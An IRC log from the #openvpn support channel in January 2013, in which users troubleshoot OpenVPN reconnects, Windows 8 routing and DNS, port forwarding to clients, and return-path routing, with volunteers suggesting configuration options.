11:53 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
11:57 -!- thinkHell [~Hell@ks399220.kimsufi.com] has joined #openvpn
11:57 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
11:58 -!- ade_b [~Ade@kista.guest.accome.com] has joined #openvpn
11:58 -!- ade_b [~Ade@kista.guest.accome.com] has quit [Changing host]
11:58 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:00 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
12:01 -!- thinkHell [~Hell@ks399220.kimsufi.com] has quit [Ping timeout: 272 seconds]
12:04 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
12:07 -!- Orbi [~opera@anon-163-28.vpn.ipredator.se] has joined #openvpn
12:07 < Orbi> hello
12:08 < fys> Oh god fuck my life.
12:08 < fys> I knew this was going to bite me in the ass sooner or later.
12:08 < fys> I fucking knew it.
12:11 < Orbi> I have a pppoe reconnect at 4am daily
12:12 < Orbi> I wrote this cron job to kill openvpn and bring it back up
12:12 -!- sauce [sauce@unaffiliated/sauce] has quit [Read error: Operation timed out]
12:12 < Orbi> Could somenone have a look, because it's not working: 0 4 * * * root killall openvpn; sleep 20; openvpn --config /tmp/openvpncl/openvpn.conf
12:13 <+pekster> Orbi: What's wrong with using --keepalive and letting it automatically reconnect if the uplink reconnect takes it out?
12:14 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
12:14 < Orbi> would that also work in case I get assigned a new IP?
12:14 < Orbi> I just checked my config and keepalive 10 30 is enabled
12:14 <+pekster> Orbi: Use --float on the server side, and and if anything on the client side maybe a SIGUSR1 is needed (see the manpage)
12:15 <+pekster> What is the problem client-side when your pppoe reconnect occurs?
12:15 <+pekster> With --keepalive 10 30, your client will notice no later than 30 seconds after a downed connection
12:16 < Orbi> I'm not in charge of the server side :)
12:16 < Orbi> Thu Jan 17 04:00:00 2013 us=908277 event_wait : Interrupted system call (code=4)
12:16 < Orbi> Thu Jan 17 04:00:00 2013 us=910293 TCP/UDP: Closing socket
12:16 < Orbi> Thu Jan 17 04:00:00 2013 us=910567 /sbin/route del -net 93.182.149.130 netmask 255.255.255.255
12:16 < Orbi> Thu Jan 17 04:00:00 2013 us=912009 ERROR: Linux route delete command failed: could not execute external program
12:16 < Orbi> Thu Jan 17 04:00:00 2013 us=912281 /sbin/route del -net 0.0.0.0 netmask 128.0.0.0
12:16 < Orbi> Thu Jan 17 04:00:00 2013 us=913707 ERROR: Linux route delete command failed: could not execute external program
12:16 < Orbi> Thu Jan 17 04:00:00 2013 us=913995 /sbin/route del -net 128.0.0.0 netmask 128.0.0.0
12:16 < Orbi> Thu Jan 17 04:00:00 2013 us=915425 ERROR: Linux route delete command failed: could not execute external program
12:16 < Orbi> Thu Jan 17 04:00:00 2013 us=915612 Closing TUN/TAP interface
12:16 < Orbi> Thu Jan 17 04:00:00 2013 us=915769 /sbin/ifconfig tun0 0.0.0.0
12:16 < Orbi> Thu Jan 17 04:00:00 2013 us=917192 Linux ip addr del failed: could not execute external program
12:16 <+pekster> Please don't do that
12:16 <+pekster> Use a pastebin
12:16 < Orbi> sorry
12:16 <+pekster> It's bad form on IRC because it's hard to read and detracts from conversation
12:17 < Orbi> I'll read into SIGUSR1
12:18 -!- nand` is now known as `nand`
12:18 <+pekster> That's probably all you need, although you'll need to stop downgrading your permissions if the server possibly hands you a new IP (looks like you're using --user and/or --group due to the failures to remove routes on disconnect.)
12:19 <+pekster> No need to SIGTERM and then re-launch the client instance as long as it's not completely exiting on you
12:20 < Orbi> I'm indeed running the client with reduced privileges
12:21 <+pekster> You can't do that if you expect a new IP from the server to work after a reconnect event
12:21 <+pekster> Either run an external script to configure routes/addressing for such cases, or don't downgrade permissino
12:21 <+pekster> permission*
12:21 < Orbi> Wouldn't SIGHUP work then?
12:22 <+pekster> No, because you require root access to set the tap IP
12:22 <+pekster> eg: try 'ip addr add 127.0.0.2/8 dev lo' as a non-root user and watch it fail
12:23 <+pekster> It might work with SIGUSR1 and --persist-key --persist-tun, but that will cause you problems if the server assigns you a new IP for whatever reason
12:23 < Orbi> Yes, it might SIGUSR1 -- Conditional restart, designed to restart without root privileges
12:24 < Orbi> It's my ISP's IP that changes daily
12:24 <+pekster> Read the --user option in the manpage, since you'll need the relevant --persist options for that to work
12:25 <+pekster> And you really want --float on the server-side if you expect that to do what you want
12:25 <+pekster> --keepalive will at least reconnect you even if that doesn't work
12:25 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has joined #openvpn
12:26 <+pekster> Then send the process a USR1 signal rather than the clunky term/wait/restart steps. You can probably hook into your distro's features for DHCP action to do that on-demand and not rely on cron to do it
12:26 <+pekster> (that's the cleaner solution)
12:26 < Orbi> even though my IP address changed? Doesn't the tun interface need to be closed since the ip address changed?
12:27 < Orbi> interesting solution, I'm really getting to learn all this stuff
12:27 <+pekster> Read the --persist-tun option. You can't use USR1 "soft-restarts" when dropping user privs
12:27 <+pekster> Manpage describes that very clearly in the --user option too
12:28 <+pekster> Read about those, SIGUSR1, and --float and you should be able to answer your own quetions
12:28 < Orbi> ok, so at some point it might be a tradeoff between user privileges and functionality?
12:30 < Orbi> I'll look into it, thanks for answering pekster
12:39 -!- Halagan [~Miranda@a4.evona.ba.cust.gts.sk] has quit [Read error: Connection reset by peer]
12:50 -!- nameless` [~nameless@u1c.eu] has quit [Read error: Operation timed out]
12:50 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 255 seconds]
12:51 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
12:51 -!- nameless` [~nameless@u1c.eu] has joined #openvpn
12:52 -!- mndo [~mndo@bl15-215-4.dsl.telepac.pt] has quit [Quit: going home]
12:52 -!- holmen [~holmen@h-30-250.a176.priv.bahnhof.se] has quit [Remote host closed the connection]
12:54 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
12:56 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
12:59 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 255 seconds]
13:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds]
13:20 -!- raidz is now known as raidz_away
13:21 -!- raidz_away is now known as raidz
13:25 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has quit [Ping timeout: 260 seconds]
13:25 -!- APTX_ [~APTX@unaffiliated/aptx] has joined #openvpn
13:26 -!- mattock_ [~mattock@raidz.im] has joined #openvpn
13:26 -!- mattock_ [~mattock@raidz.im] has quit [Changing host]
13:26 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
13:26 -!- mode/#openvpn [+o mattock_] by ChanServ
13:27 -!- sauce_ [sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
13:27 -!- thermoman_ [~thermoman@idle.foobar0815.de] has joined #openvpn
13:28 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds]
13:28 -!- mattock_ is now known as mattock
13:30 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 260 seconds]
13:30 -!- TypoNe [~itsme@195.197.184.87] has quit [Ping timeout: 260 seconds]
13:30 -!- thermoman [~thermoman@idle.foobar0815.de] has quit [Ping timeout: 260 seconds]
13:30 -!- APTX [~APTX@unaffiliated/aptx] has quit [Ping timeout: 260 seconds]
13:35 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
13:35 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
13:36 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
13:54 < p47> I can not connect to vpn it says error and I made all I'm trying with ubuntu
13:54 -!- brute11k [~brute11k@89.249.235.236] has quit [Quit: Leaving.]
13:54 < p47> does anbody here can help me ?
13:54 < ngharo> what says error
13:54 < p47> I'm trying to connect windows + ubuntu
13:55 < p47> ngharo, connecting to client has falied
13:59 -!- Radex [br@debian.pl] has left #openvpn []
14:17 -!- Sickness\ [~stront@unaffiliated/s-work] has joined #openvpn
14:18 < Sickness\> I am connected to the openvpn network at my work from home, I'm trying to connect to a server using putty but it tells me the host does not exist (I only know the hostname of the box)
14:19 < Sickness\> this worked fine before without having to set anything additional
14:20 < Sickness\> I've tried pinging some boxes that I do know should be up but no luck and since I'm connected to the vpn I doubt its a fw issue (which is disabled atm btw)
14:20 <+pekster> Sickness\: Maybe they're not pushing DNS or it doesn't wnork for a variety of reasons (not properly updated in OS, or generic Windows DNS multihoming issues.) Try 'dig @ip-of-corporate-dns hostname-of-interest' (or do it via nslookup or your other favourite resolution tool)
14:22 <+pekster> Making DNS work for Windows clients in a corporate network is rather tricky, and I've written careful client-side code in the past for former employers to make it seemless to users due to the issues around it. You can read about the --register-dns option and add it to your client .ovpn file if you want to try it
14:22 < Sickness\> hm
14:22 < Sickness\> maybe it's windows 8 related, I'm not using that at work
14:23 < Sickness\> since there, it works flawlessly using the same methods (the actual vpn is on a foreign server)
14:23 <+pekster> Near as I could tell using the developer preview, OpenVPN worked on win8 like it did on 7
14:23 <+pekster> It's not like win8 really does anything fundamentally different than 7 besides metro anyway
14:24 < Sickness\> not when it comes to these things for as far as I know no
14:25 < Sickness\> hm, just realized the vpn network might be conflicting with the virtualbox network I have here
14:25 < Sickness\> nope
14:29 < Eduard_Munteanu> Hm, the connection setup code seems rather tightly-coupled with options.
14:31 < Eduard_Munteanu> Is there some helper I can use to set up a new server/client? init_instance seems to rely on option parsing to set up the context etc..
14:31 -!- Aketzu [akolehma@kelvin.aketzu.net] has joined #openvpn
14:33 < Eduard_Munteanu> Maybe I should set up a whole new context.
14:34 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has joined #openvpn
14:35 < Eduard_Munteanu> Is there a developer channel, btw?
14:44 -!- ducblangis [~Ducblangi@24-117-207-111.cpe.cableone.net] has joined #openvpn
14:45 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
14:46 -!- TechSmurf [~jdaniel@unaffiliated/techsmurf] has joined #openvpn
14:47 < TechSmurf> Any ideas why I can't snmpwalk a device across a tunnel?
14:49 < Eduard_Munteanu> Ouch, the server multi-client code is a lot of code.
14:52 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Quit: ByeBye]
14:55 -!- tyteen4a03 [~T4@n218250229105.netvigator.com] has quit [Quit: Leaving]
15:14 -!- Orbi [~opera@anon-163-28.vpn.ipredator.se] has quit [Ping timeout: 272 seconds]
15:15 -!- CrashTM [~CrashTM@cpe-98-144-34-109.wi.res.rr.com] has joined #openvpn
15:16 < CrashTM> anyone home?
15:16 <+hazardous> dont think so
15:17 < CrashTM> >.>
15:17 <+hazardous> ?
15:18 < CrashTM> why must forwrding a port to a openvpn client be so hard
15:18 -!- tyteen4a03 [~T4@n218250229105.netvigator.com] has joined #openvpn
15:18 <+hazardous> lol what are trying to do
15:18 <+hazardous> i can help google or something but i don't really use openvpn so :x
15:19 < TechSmurf> correction: any ideas why I can't pass udp traffic across a tunnel?
15:19 < CrashTM> i will use minecraft for an example. if a client wanted to host a minecraft server it needs port 25565 to be open.
15:20 < CrashTM> the point of hosting it over a vpn is so that the public ip will not be the clients personal ip
15:21 < CrashTM> i have the server running and it works yet i am unable to forward all the traffic on port 25565 to the client
15:22 <+hazardous> dose the inbound traffic hit the client?
15:22 <+hazardous> in the first place
15:22 <+hazardous> might be return path thats the prob
15:23 < CrashTM> no, when connected to the vpn, the client can not be seen when trying to connect to it
15:23 < CrashTM> when the vpn is not enabeled i can connect to the server fine
15:24 < CrashTM> as soon as i connect it cannot be seen.
15:24 < CrashTM> i have setup static ips for my clients
15:30 -!- tyteen4a03 [~T4@n218250229105.netvigator.com] has quit [Read error: Connection reset by peer]
15:35 -!- thermoman_ is now known as thermoman
15:36 < Sickness\> pff I finally did it on windows 8
15:37 < Sickness\> apparently windows 8 does do something fundamentally different compared to 7 pekster
15:37 < Sickness\> took me ~3 hours to get around this routing issue
15:38 < Sickness\> for anyone who's curious or might run into this in the future with windows 8 clients
15:38 < Sickness\> You need to install "RAS Connection Manager" as a windows feature (under programs and features)
15:38 < Sickness\> and add route-method exe to your openvpn config
15:39 <+pekster> I always use route-method exe with >=Vista
15:39 < Sickness\> I have never been forced to use it in Windows 7 over the past year ;(
15:40 <+pekster> Some of that might depend on local configuration
15:40 <+pekster> RRAS shouldn't ever be required to act as a client; I suspect something else was going on
15:40 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:40 <+pekster> I did test the dev preview of Win8, and it added routes normally, at least for a tun setup where I pushed a couple routes along with the connection
15:41 < Sickness\> well this was the only method I got working
15:42 < Sickness\> I have no idea why but installing the RAS connection manager admin kit helped
15:42 < Sickness\> Oh well, just happy it works now, now I can finally fix that live bug :P
15:43 -!- blackmagic [~black@ip98-185-21-138.rn.hr.cox.net] has quit [Ping timeout: 260 seconds]
15:47 < CrashTM> anyone?
15:48 < TechSmurf> figured it out.. for some reason the return path was different for snmpwalk than ping
15:49  * TechSmurf thinks
15:49 < TechSmurf> no, ping just didn't care
15:49 < TechSmurf> either way it was sourcing from the tun interface ip, which I hadn't accounted for
15:50 < TechSmurf> dunno why iperf failed over udp, but whatever. snmp is working :P
15:51 <+pekster> CrashTM: If you're forwarding a port on the VPN server's public IP to a VPN client, how are you handling the return routing?
15:52 < CrashTM> great question
15:52 < CrashTM> no idea
15:52 < CrashTM> XD
15:52 <+pekster> You need the client to route the reply packets back across the VPN
15:53 < CrashTM> any idea on how i might do that?
15:53 <+pekster> Either redirect all client traffic via --redirect-gateway, or set up policy routing
15:53 < CrashTM> ok
15:55 <+pekster> Pretty sure you've been shown that a few times before
15:55 <+pekster> Some basic routing knowledge will make your life a lot easier. A lack of understanding why you need your return route for the client's reply traffic across the VPN is going to make understanding what is wrong very hard
15:55 <+pekster> !tcpip
15:55 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
15:56  * TechSmurf nods
15:57 < TechSmurf> basically the traffic has to come back along its original route
15:58 <+pekster> Well, that's not completely true, but it needs to be sourced from the same IP as the original request was bound to
15:58 < TechSmurf> if A sends data to B and expects a reply from B, it won't know what to do if the reply comes from C instead.
15:58 -!- blackmagic [~black@ip98-185-21-138.rn.hr.cox.net] has joined #openvpn
15:58 <+pekster> (which in his case means the same thing)
15:58 < Eduard_Munteanu> Depends on rp_filter.
15:58 < TechSmurf> pekster: in my head it just visualizes nicely as a line-return vs loop-return
15:59 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Ping timeout: 255 seconds]
15:59 < TechSmurf> but yeah, the point is the replying ip has to match the original dest ip
15:59 <+pekster> Sure, but the reality of the Internet is that 2 packets send right after one another (and each of their return packets) can take different routes depending on network conditions and any issues along the wa
15:59 <+pekster> But yea, the endpoints don't care about routing path, just the IPs/ports matching expected values
15:59 < TechSmurf> as long as none of them somehow get routed over level3 I'm ok.
16:00 < TechSmurf> :P
16:00 < TechSmurf> I really hope that sentiment of mine is outdated and level3 has improved ;)
16:00 <+pekster> I'll keep you off layer3.net and send you through 12 Chinese gateways instead ;)
16:00 <+hazardous> nothing wrong with level3
16:00 < TechSmurf> might be layer3
16:00 <+hazardous> if anything i'd like to yell at cogent
16:01 < TechSmurf> I dunno. back around 2000 when I was mudding one of the backbones was a haven of lag
16:01 <+hazardous> cogent routed me from norcal -> texas -> chicago -> ny -> uk -> germany -> singapore -> aus
16:01 <+hazardous> i just.. i don't know
16:01 < TechSmurf> ouch.
16:01 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
16:01 -!- p47 [~p47@189.134.208.202] has quit [Quit: Saliendo]
16:01 <+hazardous> that was an amazing 500ms though
16:01 < TechSmurf> :|
16:01 <+hazardous> instead of just going down to sj or la and going over peering
16:01 <+hazardous> at 130-150
16:02 <+hazardous> laughed pretty hard
16:02 <+hazardous> also on another server, ny to nj went through washington dc and chicago
16:02 <+hazardous> cogent -> telia -> he -> telia -> cogent
16:02 < TechSmurf> I like my route to that mud these days..
16:02 < TechSmurf> twtc -> twtc
16:03 <+hazardous> cable or telecom
16:03 < TechSmurf> tc
16:03 <+hazardous> twtelecom.net is entirely unrelated to time warner cable
16:03 <+hazardous> also what's a mud
16:03 < TechSmurf> text rpg
16:05 < TechSmurf> what irc is to skype, muds are to WoW
16:06 < Eduard_Munteanu> Heh, nice description.
16:06 < Eduard_Munteanu> (stands for multi-user dungeon, btw)
16:06 <+pekster> Ugh, beat me to that :P
16:06 < TechSmurf> (or mush,muck,moo,whatever)
16:07 < TechSmurf> multi-user shared hallucination...
16:07 < TechSmurf> props to whoever coined that one
16:08 < TechSmurf> twtelecom is entirely unrelated to time warner anything anymore
16:09 < TechSmurf> afaik
16:09 < TechSmurf> they were real big on that name change a few years back
16:10 < TechSmurf> regardless, they were the first company to agree to a fiber buildout for us.
16:10 < TechSmurf> it was merely convenient that they already had our t1
16:16 -!- WaffleScratch [~chatzilla@S010600226b8a7cc5.vn.shawcable.net] has joined #openvpn
16:16 < TechSmurf> thanks folks!
16:16 -!- TechSmurf [~jdaniel@unaffiliated/techsmurf] has left #openvpn []
16:22 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:25 -!- Porkepix [~Porkepix@lns-bzn-28-82-250-139-40.adsl.proxad.net] has joined #openvpn
16:31 -!- dazo is now known as dazo_afk
16:38 -!- WaffleScratch [~chatzilla@S010600226b8a7cc5.vn.shawcable.net] has quit [Quit: ChatZilla 0.9.89 [Firefox 18.0/20130104151925]]
16:43 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 248 seconds]
16:46 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
16:47 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has quit [Quit: Ex-Chat]
16:50 -!- Porkepix [~Porkepix@lns-bzn-28-82-250-139-40.adsl.proxad.net] has quit [Ping timeout: 256 seconds]
16:53 -!- Porkepix [~Porkepix@lns-bzn-28-82-250-139-40.adsl.proxad.net] has joined #openvpn
17:14 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 272 seconds]
17:17 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
17:18 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
17:19 -!- Devastator [~devas@186.214.14.9] has joined #openvpn
17:21 -!- digilink [~digilink@unaffiliated/digilink] has quit [Read error: Operation timed out]
17:26 -!- Devastator [~devas@186.214.14.9] has quit [Changing host]
17:26 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
17:27 -!- CrashTM [~CrashTM@cpe-98-144-34-109.wi.res.rr.com] has quit [Quit: Leaving]
17:53 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has joined #openvpn
17:56 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has quit []
18:13 -!- MeanderingCode [~Meanderin@71-213-175-129.albq.qwest.net] has joined #openvpn
18:32 -!- pnielsen_ [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
18:32 -!- Eduard_Munteanu [~Eduard_Mu@188.25.7.99] has quit [Ping timeout: 255 seconds]
18:33 -!- Eduard_Munteanu [~Eduard_Mu@188.25.7.99] has joined #openvpn
18:33 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has quit [Ping timeout: 256 seconds]
18:34 -!- ducblangis [~Ducblangi@24-117-207-111.cpe.cableone.net] has left #openvpn ["WeeChat 0.3.0"]
18:54 -!- p3rror [~mezgani@2001:0:53aa:64c:18a0:646c:d673:fd05] has joined #openvpn
18:54 -!- p3rror [~mezgani@2001:0:53aa:64c:18a0:646c:d673:fd05] has quit [Max SendQ exceeded]
18:55 -!- p3rror [~mezgani@2001:0:53aa:64c:18a0:646c:d673:fd05] has joined #openvpn
19:00 -!- p3rror [~mezgani@2001:0:53aa:64c:18a0:646c:d673:fd05] has quit [Ping timeout: 260 seconds]
19:02 -!- zaki [~guest@93.98.88.82] has quit [Remote host closed the connection]
19:12 -!- p3rror [~mezgani@2001:0:53aa:64c:3c41:646c:d606:ead9] has joined #openvpn
19:17 -!- p3rror [~mezgani@2001:0:53aa:64c:3c41:646c:d606:ead9] has quit [Ping timeout: 260 seconds]
19:21 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
19:27 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has quit [Ping timeout: 260 seconds]
19:30 -!- p3rror [~mezgani@2001:0:53aa:64c:30:646c:d673:9b7d] has joined #openvpn
19:31 -!- Eduard_Munteanu [~Eduard_Mu@188.25.7.99] has quit [Read error: Operation timed out]
19:39 -!- p3rror [~mezgani@2001:0:53aa:64c:30:646c:d673:9b7d] has quit [Ping timeout: 260 seconds]
19:52 -!- pnielsen_ is now known as pnielsen
19:55 -!- Controlsfreek [~Controlsf@cpe-69-204-135-43.nycap.res.rr.com] has quit [Quit: Leaving]
19:55 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
20:01 -!- raidz is now known as raidz_away
20:40 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
20:40 < Wulf> Hi
20:41 < Wulf> Trying to setup openvpn. All packets sent to the remote are not delivered. tcpdump shows them on the tun0 interface, but they are not sent on. The other way round works fine
20:42 < Wulf> what is it that I might be doing wrong?
20:47 -!- brute11k [~brute11k@89.249.235.236] has joined #openvpn
20:56 <+hazardous> iptables rules ?
20:56 <+hazardous> masq / snat / whatever?
21:16 -!- MeanderingCode [~Meanderin@71-213-175-129.albq.qwest.net] has quit [Ping timeout: 256 seconds]
21:34 -!- MeanderingCode [~Meanderin@71-213-175-129.albq.qwest.net] has joined #openvpn
21:38 -!- MeanderingCode [~Meanderin@71-213-175-129.albq.qwest.net] has quit [Read error: Operation timed out]
23:18 -!- ihptru [~ihptru@2a02:2770::21a:4aff:fef3:cdbb] has quit [Ping timeout: 245 seconds]
23:22 -!- ihptru [~ihptru@2a02:2770::21a:4aff:fef3:cdbb] has joined #openvpn
23:33 -!- brute11k [~brute11k@89.249.235.236] has quit [Ping timeout: 276 seconds]
23:36 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Ping timeout: 276 seconds]
23:37 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
23:57 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
--- Day changed Fri Jan 18 2013
00:07 < kunji> Mmmk, well I have the bridge into the network working now, even the UPnP server is working great.  What isn't working is getting back out, or more likely back in, from the Internet, can't even ping by ip some on the internet going through the vpn.  OpenVPN Server (192.168.1.103, giving out addresses 192.168.1.50 through 192.168.1.99) <-> Gateway Router (192.168.1.1 giving out addresses 192.168.1.100 through 192.168.1.200)<-> Modem (SomeIP)
00:49 -!- blackmagic [~black@ip98-185-21-138.rn.hr.cox.net] has quit [Ping timeout: 252 seconds]
00:56 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
01:02 -!- blackmagic [~black@ip98-185-21-138.rn.hr.cox.net] has joined #openvpn
01:02 <+pekster> kunji: What is your goal?
01:02 <+pekster> !goal
01:02 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
01:15 < kunji> pekster: Ah sorry, you and I have talked about this one before, the immediate goal would be to be able to communicate to and from the internet through the vpn, which is up and working.  I know that the bridged vpn may not be suitable for all uses (for instance, yes, a SOCKS proxy would probably have been more suitable for this portion of my original goals), but by now the goal is as much just learning and figuring out how to make it work a
01:24 -!- raidz_away is now known as raidz
01:26 -!- raidz is now known as raidz_away
01:28 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Ping timeout: 255 seconds]
01:29 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
01:29 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 252 seconds]
01:29 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Max SendQ exceeded]
01:29 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
01:33 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 260 seconds]
01:46 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
01:55 -!- p3rror [~mezgani@2001:0:53aa:64c:38a7:692d:d607:23fb] has joined #openvpn
02:12 -!- p3rror [~mezgani@2001:0:53aa:64c:38a7:692d:d607:23fb] has quit [Ping timeout: 260 seconds]
02:18 -!- ade_b [~Ade@95.209.204.110.bredband.tre.se] has joined #openvpn
02:18 -!- ade_b [~Ade@95.209.204.110.bredband.tre.se] has quit [Changing host]
02:18 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:18 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 272 seconds]
03:36 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:40 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Ping timeout: 255 seconds]
03:45 -!- tyteen4a03 [T4@n218250229105.netvigator.com] has joined #openvpn
03:48 < EugeneKay> !redirect
03:48 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
03:48 <@vpnHelper> http://ircpimps.org/redirect.png
03:56 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
03:56 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
04:02 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Max SendQ exceeded]
04:12 -!- brute11k [~brute11k@89.249.230.224] has joined #openvpn
04:13 -!- tyteen4a03 [T4@n218250229105.netvigator.com] has quit [Read error: Connection reset by peer]
04:14 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
04:17 -!- tyteen4a03 [T4@n218250229105.netvigator.com] has joined #openvpn
04:20 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
04:21 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Max SendQ exceeded]
04:22 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
04:23 -!- corretico [~luis@190.211.93.38] has quit [Ping timeout: 276 seconds]
04:24 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Max SendQ exceeded]
04:25 -!- dazo_afk is now known as dazo
04:25 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
04:29 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
05:16 -!- larseberhart [~larseberh@77.116.246.247] has joined #openvpn
05:16 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
05:17 -!- larseberhart [~larseberh@77.116.246.247] has left #openvpn []
05:17 -!- Porkepix [~Porkepix@lns-bzn-28-82-250-139-40.adsl.proxad.net] has quit [Ping timeout: 252 seconds]
05:23 -!- Porkepix [~Porkepix@lns-bzn-28-82-250-139-40.adsl.proxad.net] has joined #openvpn
05:30 -!- corretico [~luis@190.211.93.38] has joined #openvpn
05:34 -!- ade_b [~Ade@95.209.204.110.bredband.tre.se] has joined #openvpn
05:34 -!- ade_b [~Ade@95.209.204.110.bredband.tre.se] has quit [Changing host]
05:34 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:42 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
05:53 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
06:03 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 256 seconds]
06:05 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
06:16 -!- Porkepix [~Porkepix@lns-bzn-28-82-250-139-40.adsl.proxad.net] has quit [Quit: Computer has gone to sleep.]
06:41 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
06:43 -!- [fred]_ [fred@konfuzi.us] has quit [Ping timeout: 240 seconds]
06:44 -!- [fred] [fred@konfuzi.us] has joined #openvpn
07:06 -!- Azrael808 [~peter@212.161.9.162] has quit [Ping timeout: 255 seconds]
07:14 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has quit [Remote host closed the connection]
07:19 -!- Porkepix [~Porkepix@LMontsouris-156-24-53-197.w193-253.abo.wanadoo.fr] has joined #openvpn
07:25 -!- samba35 [~shrikant@unaffiliated/samba35] has joined #openvpn
07:25 -!- corretico [~luis@190.211.93.38] has quit [Quit: Leaving]
07:25 < samba35> d12fk, hi
07:26 -!- corretico [~luis@190.211.93.38] has joined #openvpn
07:43 -!- larseberhart [~larseberh@212095007036.public.telering.at] has joined #openvpn
07:45 -!- larseberhart [~larseberh@212095007036.public.telering.at] has quit [Client Quit]
07:47 < mjixx_> does the redirect-gateway option work with ipv6?
07:48 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has joined #openvpn
